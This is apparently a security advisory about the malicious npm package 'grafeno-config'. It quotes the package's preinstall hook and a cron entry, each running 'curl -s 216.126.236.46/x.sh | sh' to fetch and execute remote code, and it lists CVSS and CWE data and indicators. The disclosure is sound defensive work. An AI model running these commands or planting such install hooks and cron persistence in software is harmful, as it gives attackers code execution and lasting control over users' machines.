VDB
GCVE-110-OSM-2026-11285
GCVE-110-OSM-2026-11285
Advisory PublishedCVSS 9.6/10
This package is consistent with a remote-code-execution and persistence implant: the attacker model is a supply-chain compromise that executes arbitrary shell payloads on install and keeps re-running them via cron. The evidence is direct in `package.json`, which includes a preinstall hook invoking `curl -s 216.126.236.46/x.sh | sh` and a cron entry `crontab -` / `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, both of which fetch unpinned code from a bare IP and pipe it straight to the shell. The entrypoint `index.js` is benign-looking (`module.exports = { get: (k) => process.env[k] };`), but it is irrelevant because the malicious behavior is in install-time hooks, not runtime library logic. The brand-new package/account metadata (`brand-new-package`, `new-npm-account-week`) further supports a throwaway attacker-controlled publisher rather than a legitimate configuration manager.
ENTRY
index.js (main: index.js)
- Preinstall Script in package.json: ""preinstall": "node -e \""
PERSISTENCE
- Cron Job Persistence in package.json: "crontab -"
DESTINATION
- 1 fetched-payload (ipv4)
(values recorded in verified_iocs)
EXFIL
- Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh"
ADDITIONAL FINDINGS
- Shell Command Execution in package.json: "require('child_process')"
- Brand New Package
- Very New NPM Publisher Account
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | grafeno-config | all (affected) | — |
Aliases
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